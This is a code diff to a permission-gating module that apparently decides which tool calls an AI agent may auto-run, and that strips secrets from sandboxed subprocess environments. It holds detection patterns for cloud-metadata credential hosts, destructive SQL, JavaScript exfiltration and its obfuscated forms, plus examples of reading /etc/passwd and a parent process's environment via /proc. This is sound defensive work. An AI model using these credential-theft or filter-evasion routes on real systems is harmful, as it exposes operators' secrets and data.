+                    if func.attr in _ARCHIVE_CTOR_NAMES and _builtin_open_writes(node):
+                        return True
+                    # Enumerating a directory outside the sandbox reads host
+                    # filenames (and enables reading their contents) the direct
+                    # /etc/passwd checks would prompt for: Path('/etc').iterdir(),
+                    # os.scandir('/etc'), os.listdir('/home'), os.walk('/'),
+                    # Path('/home').glob('*'), glob.glob('/home/*'). Gate when the
+                    # target dir folds to an absolute/tilde/sensitive path; a
+                    # relative dir (Path('.').iterdir(), glob.glob('src/*')) stays
+                    # safe, and an unresolved dynamic dir is left to other checks.
+                    _enum_dir = None
+                    if func.attr == "iterdir":
+                        _enum_dir = func.value
+                    elif func.attr in ("glob", "rglob", "iglob"):
+                        # Path('/home').glob('*') enumerates the receiver dir;
+                        # glob.glob('/home/*') enumerates the pattern's root dir.
+                        _recv = _folded_path(
+                            func.value, literal_str_vars, path_ctor_aliases, pathjoin_aliases
+                        )
+                        if isinstance(_recv, str) and _recv not in ("", "\x00"):
+                            _enum_dir = func.value
+                        elif node.args:
+                            _enum_dir = node.args[0]
+                    elif (
+                        func.attr in ("scandir", "listdir", "walk")
+                        and isinstance(func.value, ast.Name)
+                        and func.value.id in os_aliases
+                        and node.args
+                    ):
+                        _enum_dir = node.args[0]
+                    if _enum_dir is not None:
+                        _folded_dir = _folded_path(
+                            _enum_dir, literal_str_vars, path_ctor_aliases, pathjoin_aliases
+                        )
+                        if isinstance(_folded_dir, str) and (
+                            _folded_dir.startswith("/")
+                            or _folded_dir.startswith("~")
+                            or _folded_is_sensitive(_folded_dir)
+                        ):
+                            return True
+    except Exception:
+        return True  # unexpected AST shape: fail closed
+    return False
+
+
+# Cloud-metadata / link-local hosts (mirrors the sandbox SSRF blocklist): a
+# read-named HTTP MCP tool pointed at one (fetch_url
+# {"url": "http://169.254.169.254/..."}) reads instance credentials, so it asks.
+_MCP_METADATA_HOST_RE = re.compile(
+    r"169\.254\.\d{1,3}\.\d{1,3}|"
+    r"100\.100\.100\.\d{1,3}|"
+    r"fd00:ec2::254|"
+    r"metadata\.google\.internal|"
+    r"metadata\.tencentyun\.com|"
+    r"://metadata(?=[:/])",
+    re.IGNORECASE,
+)
+
+
+def _mcp_arguments_reference_sensitive(arguments) -> bool:
+    """True if any string in an MCP call's arguments names a credential path, a
+    credential/secret environment variable (get_env {"name": "OPENAI_API_KEY"}),
+    or a cloud-metadata host (fetch_url {"url": "http://169.254.169.254/..."})."""
+
+    def walk(value) -> bool:
+        if isinstance(value, str):
+            return (
+                _references_sensitive_path(value)
+                or bool(_AUTO_SENSITIVE_MCP_NOUN_RE.search(value))
+                or bool(_MCP_METADATA_HOST_RE.search(value))
+            )
+        if isinstance(value, dict):
+            return any(walk(v) for v in value.values())
+        if isinstance(value, (list, tuple)):
+            return any(walk(v) for v in value)
+        return False
+
+    return walk(arguments)
+
+
+# DDL object types CREATE / DROP / ALTER share (DROP FUNCTION and ALTER INDEX
+# mutate just like CREATE INDEX).
+_SQL_DDL_OBJECTS = (
+    r"table|database|schema|index|view|function|procedure|trigger|"
+    r"sequence|role|user|extension|type|domain|aggregate|policy"
+)
+# Modifiers between the DDL verb and object (CREATE OR REPLACE VIEW, DROP
+# MATERIALIZED VIEW, CREATE UNIQUE INDEX).
+_SQL_DDL_MODIFIERS = (
+    r"(?:(?:or\s+replace|unique|temp|temporary|global|local|materialized|recursive)\s+)*"
+)
+# A SQL identifier (bare, "quoted", `quoted`, [bracketed]), optionally
+# schema-qualified, so UPDATE "users"/public.users/ONLY .../[users] SET all hit.
+_SQL_IDENT = r'(?:\w+|"(?:[^"]|"")*"|`(?:[^`]|``)*`|\[[^\]]+\])'
+_SQL_UPDATE_TARGET = r"(?:only\s+)?" + _SQL_IDENT + r"(?:\s*\.\s*" + _SQL_IDENT + r")*"
+# A read-named MCP tool (query_database, run_query) can still carry a mutating
+# SQL statement; match DML/DDL as whole statements (DELETE FROM, DROP TABLE) so
+# a natural-language query that merely contains the word "delete" stays safe.
+_MCP_ARG_MUTATION_RE = re.compile(
+    r"\b(?:delete\s+from|"
+    r"drop\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
+    # Match the whole identifier (the outer trailing \b needs the alternative to
+    # end on a word boundary, so a bare \w stops mid-name and TRUNCATE users slips
+    # through); the optional opening quote/bracket/backtick covers "users"/[users].
+    r"truncate\s+(?:table\s+)?[\"\[`]?\w+|"
+    # UPDATE <target> [AS alias] SET: allow an explicit AS alias before SET so
+    # UPDATE users AS u SET is caught, not just the bare form. The implicit-alias
+    # form (UPDATE users u SET) is left out because it is indistinguishable from
+    # the prose "update <noun> <noun> set" and would flag natural language.
+    r"update\s+" + _SQL_UPDATE_TARGET + r"(?:\s+as\s+" + _SQL_IDENT + r")?\s+set\b|"
+    r"insert\s+into|replace\s+into|"
+    # SELECT ... INTO OUTFILE/DUMPFILE writes a file (MySQL); bare SELECT INTO
+    # <table> is left out (PL/pgSQL uses it to read into a variable).
+    r"select\s+[^;]*?\binto\s+(?:outfile|dumpfile)\b|"
+    # ALTER SYSTEM persists PostgreSQL server configuration; SYSTEM is not one of
+    # the DDL objects above, so match it explicitly.
+    r"alter\s+system\b|"
+    r"alter\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
+    r"create\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
+    r"grant\s+\w+|revoke\s+\w+|merge\s+into|"
+    # Catalog mutations: COMMENT ON <obj>, SECURITY LABEL, and LOCK TABLE change
+    # metadata or take a lock. Each needs a following keyword, so a "comment"
+    # column (SELECT comment FROM t) or "locks" table stays safe.
+    r"comment\s+on\b|security\s+label\b|lock\s+table\b|"
+    # PostgreSQL maintenance writes: REFRESH MATERIALIZED VIEW rewrites the view,
+    # REINDEX rebuilds an index. Both need a following object keyword/name, so a
+    # column or word "refresh"/"reindex" in prose stays safe.
+    r"refresh\s+materialized\s+view|reindex\s+\w+|"
+    # CALL proc(...) / EXEC[UTE] name / VACUUM mutate; CALL needs a following
+    # "(", ";", or end so natural-language "call me back" stays safe.
+    r"call\s+\w+(?=\s*[(;]|\s*$)|exec(?:ute)?\s+\w+|vacuum|"
+    # COPY ... FROM bulk-loads and COPY ... TO writes a file ([^;] stays in one
+    # statement).
+    r"copy\s+[^;]*?\b(?:from|to)\b)\b",
+    re.IGNORECASE,
+)
+# SQLite statements the base regex misses: ATTACH/DETACH a database (DATABASE
+# optional via the quoted-path form), a write-form PRAGMA (name=value / name(...),
+# unlike the read-form PRAGMA name), and load_extension() which runs a shared
+# library. These tokens are not natural language, so benign text does not trip.
+_MCP_ARG_SQLITE_MUTATION_RE = re.compile(
+    r"\b(?:attach|detach)\s+database\b"
+    r"|\battach\s+(?:database\s+)?['\"]"
+    r"|\bpragma\s+\w+(?:\.\w+)?\s*(?:=|\()"
+    r"|\bload_extension\s*\(",
+    re.IGNORECASE,
+)
+# State-changing SQL functions that mutate or write files inside a read-shaped
+# SELECT (pg_terminate_backend, setval, pg_write_file, lo_export, ...). The
+# trailing "(" is required, so a column named setval_count stays safe.
+_MCP_ARG_SQL_FUNCTION_RE = re.compile(
+    r"\b(?:pg_terminate_backend|pg_cancel_backend|pg_write_file|lo_export|"
+    r"lo_import|setval|nextval|set_config|pg_notify|dblink_exec|pg_reload_conf|"
+    r"pg_rotate_logfile|"
+    # advisory locks change session/transaction lock state (read-shaped SELECT).
+    r"pg_advisory_(?:lock|lock_shared|unlock|unlock_shared|unlock_all|"
+    r"xact_lock|xact_lock_shared)|"
+    r"pg_try_advisory_(?:lock|lock_shared|xact_lock|xact_lock_shared))\s*\(",
+    re.IGNORECASE,
+)
+# SQL engines treat /* */ and -- comments as whitespace, so DELETE/**/FROM and
+# UPDATE/**/users evade the \s+ in the mutation regex; collapse comments to a
+# space before matching.
+_SQL_COMMENT_RE = re.compile(r"/\*.*?\*/|--[^\n]*", re.DOTALL)
+# A GraphQL mutation on a read-named tool. Directives are valid between the name
+# and body (mutation M @audit { ... }), so allow @directive[(args)] before ( or {.
+_GRAPHQL_MUTATION_RE = re.compile(
+    r"\bmutation\b\s*\w*\s*(?:@\w+(?:\s*\([^)]*\))?\s*)*[({]", re.IGNORECASE
+)
+# GraphQL # comments run to end-of-line and count as whitespace, so a comment
+# between `mutation` and the body (mutation # note\n { ... }) would otherwise
+# hide it; collapse them to a space before matching.
+_GRAPHQL_COMMENT_RE = re.compile(r"#[^\n]*")
+
+
+# HTTP verbs that mutate the target resource; a generic HTTP MCP tool
+# (mcp__http__get_url {"method": "DELETE"}) mutates an external service even
+# though its name looks read-only. GET/HEAD/OPTIONS/TRACE only read.
+_MUTATING_HTTP_METHODS = frozenset({"POST", "PUT", "PATCH", "DELETE"})
+_HTTP_METHOD_KEYS = frozenset({"method", "http_method", "httpmethod", "verb", "http_verb"})
+
+
+def _mcp_arguments_mutate(arguments) -> bool:
+    """True if an MCP call's arguments carry a mutating command, so a read-named
+    but write-capable tool (query_database {"query": "DELETE FROM runs"},
+    query_graphql {"query": "mutation { deleteIssue(id: 1) }"}, or an HTTP tool
+    {"method": "DELETE"}) asks."""
+
+    def walk(value) -> bool:
+        if isinstance(value, str):
+            _sql = _SQL_COMMENT_RE.sub(" ", value)
+            return (
+                bool(_MCP_ARG_MUTATION_RE.search(_sql))
+                or bool(_MCP_ARG_SQLITE_MUTATION_RE.search(_sql))
+                or bool(_MCP_ARG_SQL_FUNCTION_RE.search(_sql))
+                or bool(_GRAPHQL_MUTATION_RE.search(_GRAPHQL_COMMENT_RE.sub(" ", value)))
+            )
+        if isinstance(value, dict):
+            for k, v in value.items():
+                if (
+                    isinstance(k, str)
+                    and k.lower() in _HTTP_METHOD_KEYS
+                    and isinstance(v, str)
+                    and v.strip().upper() in _MUTATING_HTTP_METHODS
+                ):
+                    return True
+            return any(walk(v) for v in value.values())
+        if isinstance(value, (list, tuple)):
+            return any(walk(v) for v in value)
+        return False
+
+    return walk(arguments)
+
+
+# Tools that are read-only / non state-mutating regardless of their arguments,
+# so auto mode never has to pause them (their safety needs no argument scan).
+# render_html is NOT unconditionally safe: it runs arbitrary HTML/JS in the
+# canvas preview frame. A static canvas (charts, layout, inline SVG) never
+# reaches the network, but code that calls out can exfiltrate or fetch under the
+# preview's CSP when artifact network access is enabled, so those ask; a canvas
+# with no network construct still auto-runs. Matches JS egress APIs, a remote or
+# root-relative <script src>/src=/href=/srcset, a CSS url()/@import that loads a
+# resource, and ws(s) URLs. A leading "/" covers both //host (protocol-relative)
+# and /path (root-relative, which the CSP resolves against the frame origin); a
+# "./x" or bare relative ref and a url(#id)/data: ref are not matched, so an
+# inline-SVG canvas (whose w3.org namespace lives in xmlns=) stays safe.
+_RENDER_HTML_NETWORK_RE = re.compile(
+    r"\bfetch\s*\(|"
+    r"XMLHttpRequest|"
+    r"\bWebSocket\b|"
+    r"\bEventSource\b|"
+    r"\bsendBeacon\b|"
+    r"\bimportScripts\b|"
+    r"navigator\s*\.\s*serviceWorker|"
+    # new Worker(...) / new SharedWorker(...) run a script off the main thread
+    # that this static scan cannot see: a module worker from a CORS-enabled CDN
+    # executes remote code, and a blob/same-origin worker can fetch/importScripts
+    # to egress, all reachable under worker-src http: https: blob:. Gate the
+    # constructor like importScripts/serviceWorker; a var merely named myWorker
+    # (no "new") stays static.
+    r"\bnew\s+(?:Shared)?Worker\s*\(|"
+    r"@import|"
+    r"url\(\s*[\"']?\s*(?:https?:|/)|"
+    r"<script[^>]*\bsrc\s*=|"
+    r"\b(?:src|href|srcset)\s*=\s*[\"']?\s*(?:https?:|/)|"
+    # Self-navigation sinks: location.assign/replace(...), window.open(...), and
+    # assigning a URL to (window.)location(.href). location.reload()/history.back
+    # do not navigate to a new URL, so they stay static.
+    r"\blocation\s*\.\s*(?:assign|replace)\s*\(|"
+    r"\bwindow\s*\.\s*open\s*\(|"
+    r"\b(?:window\s*\.\s*)?location(?:\s*\.\s*href)?\s*=\s*[\"'`]?\s*(?:https?:|/)|"
+    # Bracket-access obfuscation: window['fetch'](...), self["open"](...).
+    r"\[\s*[\"'](?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
+    r"sendBeacon|serviceWorker)[\"']\s*\]|"
+    # Computed bracket key spliced at runtime on a global host object
+    # (window['fet'+'ch'](...)): a quoted fragment adjacent to a + inside the
+    # index. Anchored to a host object so a plain obj['a'+'b'] key stays safe.
+    r"\b(?:window|self|globalThis|top|parent|frames)\s*\[[^\]]*"
+    r"(?:[\"']\s*\+|\+\s*[\"'])[^\]]*\]|"
+    # Declarative meta-refresh navigation to a URL (order-tolerant); a bare
+    # content="30" self-reload has no url= and stays static.
+    r"<meta\b(?=[^>]*http-equiv\s*=\s*[\"']?\s*refresh)(?=[^>]*\burl\s*=)|"
+    r"\bwss?://",
+    re.IGNORECASE,
+)
+# Block comments can split an egress token (fetch/*x*/(...)); strip them before
+# matching. Line // comments are left alone -- stripping them would eat the // in
+# an https:// URL and hide a real load.
+_JS_BLOCK_COMMENT_RE = re.compile(r"/\*.*?\*/", re.DOTALL)
+
+
+def _render_html_reaches_network(arguments: dict) -> bool:
+    code = arguments.get("code")
+    if not isinstance(code, str):
+        return False
+    return bool(_RENDER_HTML_NETWORK_RE.search(_JS_BLOCK_COMMENT_RE.sub("", code)))
+
+
+# Tools that are read-only regardless of their arguments, so auto mode never has
+# to pause them and their safety needs no argument scan. render_html is handled
+# separately above because a networked canvas does need approval.
+_ALWAYS_SAFE_TOOLS = frozenset({"web_search", "search_knowledge_base"})
+
+
+def is_always_safe_tool(name: str) -> bool:
+    """True for tools that never need an auto-mode prompt on any arguments, so a
+    caller (e.g. the streaming provisional card) can allow them before the full
+    arguments are known. render_html is intentionally excluded: a networked
+    canvas needs approval, which cannot be judged before its arguments stream."""
+    return name in _ALWAYS_SAFE_TOOLS
+
+
+def is_potentially_unsafe_tool_call(name: str, arguments: dict) -> bool:
+    """Whether a tool call must still pause for approval in auto mode.
+
+    Used by permission_mode="auto" ("Approve for me"): read-only calls
+    auto-run, anything that can mutate state, execute arbitrary code, or is
+    simply unrecognized asks first. Unknown tools fail closed.
+    """
+    if name in _ALWAYS_SAFE_TOOLS:
+        return False
+    # render_html auto-runs a static canvas but asks once its HTML/JS reaches the
+    # network (fetch/WebSocket/remote script), which can egress under the canvas
+    # CSP when artifact network access is enabled.
+    if name == "render_html":
+        return _render_html_reaches_network(arguments)
+    if name.startswith(MCP_TOOL_PREFIX):
+        tool_name = name.split("__", 2)[-1]
+        # A mutating verb anywhere (get_or_create_issue, read_and_delete)
+        # overrides a read-only prefix.
+        if _AUTO_UNSAFE_MCP_VERB_RE.search(tool_name):
+            return True
+        # A credential noun (read_secret, list_tokens, get_credentials) makes a
+        # read-named tool a sensitive disclosure, so it asks too.
+        if _AUTO_SENSITIVE_MCP_NOUN_RE.search(tool_name):
+            return True
+        # A read-named fs tool pointed at a credential path is still a
+        # sensitive read (mcp__fs__read_file {"path": "/etc/passwd"}).
+        if _mcp_arguments_reference_sensitive(arguments):
+            return True
+        # A read-named tool carrying a mutating query (query_database
+        # {"query": "DELETE FROM runs"}) still mutates external state.
+        if _mcp_arguments_mutate(arguments):
+            return True
+        return not _AUTO_SAFE_MCP_TOOL_RE.match(tool_name)
+    if name == "terminal":
+        return _terminal_is_potentially_unsafe(str(arguments.get("command", "")))
+    if name == "python":
+        return _python_is_potentially_unsafe(str(arguments.get("code", "")))
+    return True
+
+
 def _build_safe_env(workdir: str) -> dict[str, str]:
     """Build a minimal, credential-free environment for sandboxed subprocesses.
 
     Whitelist-built from scratch (parent env NOT inherited): only PATH/HOME/
-    TMPDIR/LANG/TERM/PYTHONIOENCODING (+VIRTUAL_ENV or Windows SystemRoot) reach
-    the child; all credential vars (HF_TOKEN, AWS_*, etc.) are absent. HOME
-    points at the sandbox workdir so SDKs can't read the operator's cached creds.
+    TMPDIR/LANG/TERM/PYTHONIOENCODING/PYTHONPATH (+VIRTUAL_ENV or Windows
+    SystemRoot) reach the child; all credential vars (HF_TOKEN, AWS_*, etc.)
+    are absent. HOME points at the sandbox workdir so SDKs can't read the
+    operator's cached creds. PYTHONPATH carries only the sandbox sitecustomize
+    shim directory.
     """
     # Start from the running interpreter's dir so 'python'/'pip' resolve to the
     # same environment the Studio server runs in.
@@ -307,6 +2529,9 @@ def _build_safe_env(workdir: str) -> dict[str, str]:
         "LANG": os.environ.get("LANG", "C.UTF-8"),
         "TERM": "dumb",
         "PYTHONIOENCODING": "utf-8",
+        # sitecustomize shim: remaps ChatGPT code-interpreter paths (/mnt/data
+        # etc.) onto the sandbox CWD; see sandbox_site/sitecustomize.py.
+        "PYTHONPATH": _SANDBOX_SITE_DIR,
     }
     if venv:
         env["VIRTUAL_ENV"] = venv
@@ -341,13 +2566,10 @@ _BYPASS_ENV_SECRET_NAMES = frozenset(
         "KAGGLE_KEY",
         "MYSQL_PWD",  # exact name: markers use PASSWD, not PWD (PWD is the cwd var)
         "LD_PRELOAD",
-        # Auth brokers / capability handles: not secrets by value, but they
-        # hand the child the operator's live agent (ssh/gpg), kube config, or
-        # docker daemon. Names are listed because there is no value signal to
-        # key off. URL config vars (HTTP_PROXY, PIP_INDEX_URL, DATABASE_URL,
-        # ...) are intentionally NOT name-listed: a benign proxy/index without
-        # credentials must keep working in bypass mode, while a credentialed
-        # value is dropped by _is_secret_env_value() regardless of its name.
+        # Auth brokers / capability handles: hand the child the operator's live
+        # agent (ssh/gpg), kube config, or docker daemon. Listed by name (no
+        # value signal). URL config vars are NOT name-listed: a credentialed
+        # value is dropped by _is_secret_env_value() regardless of name.
         "SSH_AUTH_SOCK",
         "SSH_AGENT_PID",
         "GPG_AGENT_INFO",
@@ -367,37 +2589,30 @@ _BYPASS_ENV_SECRET_MARKERS = (
     "CREDENTIAL",
     "PRIVATE_KEY",
     "AUTH",  # e.g. NPM_CONFIG__AUTH (npm _auth), REDISCLI_AUTH
-    # Azure App Service connection strings: SQLCONNSTR_/CUSTOMCONNSTR_/... and
-    # WEBSITE_CONTENTAZUREFILECONNECTIONSTRING carry DB/storage credentials.
+    # Azure App Service connection strings carry DB/storage credentials.
     "CONNSTR",
     "CONNECTIONSTRING",
 )
 # Non-secret hardening flags that match a secret prefix/marker but must be KEPT
-# so bypass mode does not silently undo an operator's opt-out. AWS_EC2_METADATA_
-# DISABLED tells the AWS SDK/CLI not to pull instance-role creds from IMDS;
-# dropping it would re-open that path for a bypassed tool.
+# so bypass mode does not undo an operator's opt-out (e.g.
+# AWS_EC2_METADATA_DISABLED blocks the AWS SDK from pulling IMDS creds).
 _BYPASS_ENV_KEEP_NAMES = frozenset(
     {
         "AWS_EC2_METADATA_DISABLED",
         "AWS_EC2_METADATA_V1_DISABLED",
     }
 )
-# Matches a URL that embeds userinfo before the host, covering both
-# "scheme://user:pass@host" and token-only "scheme://token@host" (and
-# percent-encoded variants). The userinfo must precede the first '/', so an '@'
-# in a path or query does not false-positive. Used to scrub credential-bearing
-# URL values regardless of the variable's name.
+# Matches a URL embedding userinfo before the host ("scheme://user:pass@host"
+# and token-only forms). The userinfo must precede the first '/', so an '@' in
+# a path/query does not false-positive.
 _URL_USERINFO_RE = re.compile(r"://[^/\s@]+@")
-# Connection-string credential fields (ADO.NET / Azure storage / Service Bus):
-# "...;Password=...", "...;AccountKey=...", "...;SharedAccessKey=...". Catches
-# credential-bearing values whose names dodge the name classifier. "accesskey"
-# also covers Shared/Secret AccessKey via substring; the Name fields (e.g.
-# SharedAccessKeyName=) do not match since "=" must follow the keyword.
+# Connection-string credential fields (ADO.NET / Azure storage / Service Bus)
+# whose names dodge the name classifier. The Name fields (SharedAccessKeyName=)
+# don't match since "=" must follow the keyword.
 _SECRET_VALUE_RE = re.compile(r"(?i)(?:password|pwd|accountkey|accesskey)\s*=\s*[^\s;]")
 
-# Names that hold no secret value but point SDKs at the operator's real
+# Names holding no secret value but pointing SDKs at the operator's real
 # home/cache/config (cached tokens, cred files), defeating the HOME repoint.
-# Startup always sets HF_HOME (-> $HF_HOME/token), so this is the live leak.
 # Dropped in bypass mode so tools fall back to the empty repointed HOME.
 _BYPASS_ENV_CRED_LOCATION_NAMES = frozenset(
     {
@@ -478,12 +2693,12 @@ def _is_secret_env_value(value: str) -> bool:
 
 
 def _build_bypass_env(workdir: str) -> dict[str, str]:
-    """Env for bypass exec: full host env (unrestricted) minus credential vars,
-    with HOME/TMPDIR repointed at the workdir so SDKs cannot read cached creds.
+    """Env for bypass exec: full host env minus credential vars, with HOME/TMPDIR
+    repointed at the workdir so SDKs cannot read cached creds.
 
-    Note: stripping the child env is necessary but not sufficient on its own -
-    a same-UID child can still read the parent's environment via procfs, so
-    callers also harden the parent (see _harden_parent_against_proc_env_leak).
+    Stripping the child env is necessary but not sufficient (a same-UID child can
+    read the parent's env via procfs), so callers also harden the parent (see
+    _harden_parent_against_proc_env_leak).
     """
     env = {
         k: v
@@ -498,6 +2713,12 @@ def _build_bypass_env(workdir: str) -> dict[str, str]:
     # the bypassed tool writes under the per-session sandbox dir on every OS.
     env["TEMP"] = workdir
     env["TMP"] = workdir
+    # sitecustomize path shim (see _build_safe_env). Bypass inherits the
+    # operator's PYTHONPATH, so prepend rather than replace.
+    inherited_pythonpath = env.get("PYTHONPATH", "")
+    env["PYTHONPATH"] = os.pathsep.join(
+        part for part in (_SANDBOX_SITE_DIR, inherited_pythonpath) if part
+    )
     # Windows SDKs read creds under the profile dirs, not $HOME; repoint set
     # ones to the workdir (HOMEDRIVE/HOMEPATH are dropped above).
     for var in _BYPASS_ENV_WINDOWS_PROFILE_VARS:
@@ -588,24 +2809,14 @@ def _harden_parent_against_proc_env_leak() -> bool:
     """Make the Studio process's /proc/<pid>/environ unreadable to its children.
 
     Stripping the child env is not enough on Linux: a bypassed same-UID child
-    runs unsandboxed and can read /proc/<getppid()>/environ to recover the
-    tool-executing process's *unfiltered* secrets (HF_TOKEN, cloud keys, ...).
-    Clearing the dumpable flag (PR_SET_DUMPABLE=0) reparents this process's
-    /proc entries to root, so a same-UID child can no longer read its environ.
+    can read /proc/<getppid()>/environ to recover the parent's unfiltered
+    secrets. Clearing PR_SET_DUMPABLE reparents this process's /proc entries to
+    root, closing that read.
 
-    Returns True when the process is hardened or hardening is unnecessary (no
-    /proc leak off Linux), and False when it is needed but could not be applied
-    (e.g. prctl denied by a seccomp policy). Callers must fail closed - refuse
-    the unsandboxed exec - when this returns False, rather than running with the
-    parent environ still readable.
-
-    Scope: this closes the direct parent read (the demonstrated leak). It is a
-    mitigation, not a full boundary - a bypassed tool is unsandboxed by design,
-    so it can still walk /proc to a same-UID *ancestor* (e.g. the launching
-    shell) or read on-disk credentials by absolute path. Complete isolation
-    needs a separate uid / PID+mount namespace, which is out of scope here; the
-    UI already warns the mode is dangerous. Applied lazily on first bypass exec
-    so non-bypass operation is unchanged.
+    Returns True when hardened or unnecessary (off Linux), False when needed but
+    unappliable (e.g. prctl denied by seccomp); callers must then fail closed.
+    This is a mitigation, not a full boundary - a bypassed tool can still walk
+    /proc to an ancestor or read creds by path. Applied lazily on first bypass.
     """
     global _parent_proc_hardened
     if _parent_proc_hardened:
@@ -732,11 +2943,20 @@ WEB_SEARCH_TOOL = {
     },
 }
 
+# Appended to the python/terminal descriptions: models habitually write to
+# /mnt/data (a ChatGPT code-interpreter path), which does not exist here.
+_SANDBOX_PATHS_NOTE = (
+    " Read and write files using relative paths in the current working "
+    "directory, which persists for this conversation; absolute paths like "
+    "/mnt/data or /tmp/outputs do not exist."
+)
+
 PYTHON_TOOL = {
     "type": "function",
     "function": {
         "name": "python",
-        "description": "Execute Python code in a sandbox and return stdout/stderr.",
+        "description": "Execute Python code in a sandbox and return stdout/stderr."
+        + _SANDBOX_PATHS_NOTE,
         "parameters": {
             "type": "object",
             "properties": {
@@ -754,7 +2974,7 @@ TERMINAL_TOOL = {
     "type": "function",
     "function": {
         "name": "terminal",
-        "description": "Execute a terminal command and return stdout/stderr.",
+        "description": "Execute a terminal command and return stdout/stderr." + _SANDBOX_PATHS_NOTE,
         "parameters": {
             "type": "object",
             "properties": {
@@ -833,9 +3053,8 @@ ALL_TOOLS = [
 ]
 
 
-# OpenAI's function.name regex ^[a-zA-Z0-9_-]{1,64}$, enforced before streaming.
-# MCP tool names with '.', '/', spaces, etc. would 400 the whole request, so we
-# validate up front and skip with a warning.
+# OpenAI's function.name regex; MCP names that violate it would 400 the whole
+# request, so validate up front and skip with a warning.
 _OPENAI_FN_NAME_RE = re.compile(r"^[a-zA-Z0-9_-]{1,64}$")
 
 
@@ -881,8 +3100,7 @@ def _mcp_specs_for_server(server: dict, mcp_tools: list[dict]) -> list[dict]:
 
 async def get_enabled_mcp_tools() -> list[dict]:
     servers = [s for s in mcp_servers_db.list_servers() if s.get("is_enabled")]
-    # Never spawn stdio servers when stdio is disabled on this host (e.g. a DB
-    # carried from a desktop install onto a Colab/network deployment).
+    # Never spawn stdio servers when stdio is disabled on this host.
     if not stdio_mcp_enabled():
         servers = [s for s in servers if not is_stdio(s["url"])]
     if not servers:
@@ -907,15 +3125,11 @@ async def get_enabled_mcp_tools() -> list[dict]:
             ),
             return_exceptions = True,
         )
-        # An edit/delete can land while we await a probe (up to 305 s for
-        # OAuth); its cache eviction is a no-op against an entry we haven't
-        # written yet. Re-read and drop a result whose server changed or
-        # was removed mid-probe, else a stale tool list caches indefinitely.
+        # An edit/delete can land while we await a probe; re-read and drop a
+        # result whose server changed or was removed mid-probe, else a stale
+        # tool list (or cool-off on a just-fixed server) persists.
         current = {s["id"]: s for s in mcp_servers_db.list_servers()}
         for server, payload in zip(uncached, results):
-            # Guard the failure branch too: a stale failure must not park a
-            # cool-off on the fresh config, or the server the user just fixed
-            # is skipped for the whole window.
             fresh = current.get(server["id"])
             if fresh is None or any(
                 fresh.get(k) != server.get(k) for k in TOOL_CACHE_INVALIDATING_FIELDS
@@ -971,18 +3185,26 @@ def execute_tool(
     cancel_event = None,
     timeout: int | None = _TIMEOUT_UNSET,
     session_id: str | None = None,
+    thread_id: str | None = None,
     rag_scope: dict | None = None,
     disable_sandbox: bool = False,
+    output_callback = None,
 ) -> str:
     """Execute a tool by name with the given arguments; returns a string.
 
     ``timeout``: int seconds, ``None`` = no limit, unset = ``_EXEC_TIMEOUT``.
     ``session_id``: optional ID for per-conversation sandbox isolation.
+    ``thread_id``: optional conversation ID; scopes stateful MCP stdio sessions
+    per thread (session_id alone can be shared project-wide).
     ``rag_scope``: hidden per-request RAG context the model never sees; consumed
     by ``search_knowledge_base``.
     ``disable_sandbox``: Bypass Permissions; run python/terminal without the
     safety checks, blocklist, or resource caps (secrets still stripped). Only
     affects local code tools; web_search / MCP are unchanged.
+    ``output_callback``: optional ``callable(str)`` invoked with incremental
+    stdout/stderr chunks while python/terminal executions run (UI live
+    output). Purely observational: the returned result string is identical
+    with or without it. Tools without incremental output ignore it.
     """
     logger.info(f"execute_tool: name={name}, session_id={session_id}, timeout={timeout}")
     effective_timeout = _EXEC_TIMEOUT if timeout is _TIMEOUT_UNSET else timeout
@@ -1002,20 +3224,48 @@ def execute_tool(
             return f"Error: MCP server '{server_id}' is disabled"
         if is_stdio(server["url"]) and not stdio_mcp_enabled():
             return f"Error: stdio MCP server '{server_id}' is disabled on this host"
+        # Persist a stateful stdio session only per conversation (thread_id).
+        # session_id is the project-wide sandbox id, so scoping by it alone leaks
+        # browser/DB/REPL state across conversations; fall back to one-shot. Tag +
+        # percent-quote the parts so ids can't collide or ":" merge conversations.
+        if thread_id:
+            mcp_scope = "s={}:t={}".format(
+                urllib.parse.quote(session_id or "", safe = ""),
+                urllib.parse.quote(thread_id, safe = ""),
+            )
+        else:
+            mcp_scope = None
+        headers = parse_server_headers(server)
+        url = server["url"]
+
+        def _config_current() -> bool:
+            # Re-read before a stdio session is cached: this call may have read
+            # the row just before an update/delete closed its sessions.
+            row = mcp_servers_db.get_server(server_id)
+            return (
+                row is not None
+                and bool(row.get("is_enabled"))
+                and row.get("url") == url
+                and parse_server_headers(row) == headers
+            )
+
         return call_tool_sync(
-            url = server["url"],
-            headers = parse_server_headers(server),
+            url = url,
+            headers = headers,
             name = tool_name,
             args = arguments,
             timeout = effective_timeout,
             use_oauth = bool(server.get("use_oauth")),
             cancel_event = cancel_event,
+            scope = mcp_scope,
+            config_check = _config_current,
         )
     if name == "web_search":
         return _web_search(
             arguments.get("query", ""),
             url = arguments.get("url"),
             timeout = effective_timeout,
+            cancel_event = cancel_event,
         )
     if name == "python":
         return _python_exec(
@@ -1024,6 +3274,7 @@ def execute_tool(
             effective_timeout,
             session_id,
             disable_sandbox = disable_sandbox,
+            output_callback = output_callback,
         )
     if name == "terminal":
         return _bash_exec(
@@ -1032,6 +3283,7 @@ def execute_tool(
             effective_timeout,
             session_id,
             disable_sandbox = disable_sandbox,
+            output_callback = output_callback,
         )
     return f"Unknown tool: {name}"
 
@@ -1237,11 +3489,10 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
     sidebar_k = _opt_int(rag_scope.get("default_top_k"))
     top_k = min(sidebar_k, lean_k) if sidebar_k is not None else lean_k
 
-    # Whole-document mode: a thread-attached file under budget is injected in full so
-    # the model reads everything. A KB selection is exclusive, so whole-doc never
-    # preempts it; in a project chat the project sources are still retrieved top-K and
-    # appended under one citation numbering. Oversized files (or no thread doc) fall
-    # through to the combined top-K retrieval below.
+    # Whole-document mode: a thread-attached file under budget is injected in
+    # full. A KB selection is exclusive so whole-doc never preempts it; project
+    # sources are still retrieved top-K and appended under one citation
+    # numbering. Oversized/absent thread docs fall through to top-K below.
     if whole_doc_requested:
         try:
             budget = _whole_doc_budget(rag_scope, conversation)
